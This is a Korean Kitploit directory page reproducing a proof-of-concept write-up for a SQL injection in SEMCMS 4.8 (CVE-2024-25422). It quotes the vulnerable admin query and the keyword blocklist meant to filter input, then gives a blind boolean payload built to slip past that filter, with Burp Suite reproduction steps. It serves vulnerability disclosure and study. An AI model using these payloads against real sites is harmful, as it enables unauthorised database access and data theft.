Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
semcms — semcms에 SQL 인젝션 취약점이 존재합니다 (CVE-2024-25422) | Kitploit
도구/GitHubGitHub/tzyyyyyyy/semcms
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubtzyyyyyyy/semcms

semcms

semcms에 SQL 인젝션 취약점이 존재합니다 (CVE-2024-25422)

저장소 보기
2년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Semcms 소개

SEMCMS는 다국어를 지원하는 외국 무역 웹사이트 콘텐츠 관리 시스템(CMS)입니다.

root@kitploit:~
v4.8 Download Link: http://www.sem-cms.com/TradeCmsdown/php/semcms_php_4.8.zip

취약점 원인:

/xcR45q_Admin/SEMCMS_Menu.php 66번째 줄

취약점 코드:

root@kitploit:~
<?php
 } elseif ($type == "edit") {
 
   $row = mysqli_fetch_array($db_conn->query("SELECT * FROM sc_menu WHERE ID=" . $_GET["ID"]));
 
   ?>

여기서 ID는 GET을 통해 매개변수를 전달할 때 SQL 문을 실행한다는 것을 알 수 있습니다.

필터 코드 위치: /Include/contorl. PHP

151번째 줄

root@kitploit:~
function test_input($data) { 
    //$data = str_replace("%", "percent", $data);
    $data = trim($data);
    $data = stripslashes($data);
    $data = htmlspecialchars($data,*ENT_QUOTES*);
    return $data;
  }

그리고 8번째 줄

root@kitploit:~
function inject_check_sql($sql_str) {
 
   return preg_match('/select|and|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i',$sql_str); 
 } 
 function verify_str($str) { 
    if(inject_check_sql($str)) {
      exit('Sorry,You do this is wrong! (.-.)');
     } 
   return $str;
 } 

위의 내용을 필터링함으로써 다음과 같은 페이로드를 구성할 수 있습니다.

root@kitploit:~
-1%20or%20length(database())%20REGEXP%20char(94,53,36)

취약점 재현

웹사이트 접속

root@kitploit:~
http://url/xcR45q_Admin/SEMCMS_Menu.php

Brupsuite 패킷 캡처, 새 사이트 생성 시 데이터베이스 이름의 길이가 5이므로 페이로드는 다음과 같이 구성됩니다.

root@kitploit:~
-1%20or%20length(database())%20REGEXP%20char(94,53,36)

(데이터베이스 이름의 길이가 5인지 확인)

페이로드를 삽입하여 에코(echo) 확인

clip_image002

이때 페이로드를 변경합니다.

root@kitploit:~
-1%20or%20length(database())%20REGEXP%20char(94,54,36)

(데이터베이스 이름의 길이가 6인지 확인)

이때 페이로드를 변경합니다.

clip_image004

향후 페이지의 변화에 따라 SQL 인젝션을 계속 진행할 수 있습니다.

도구 다운로드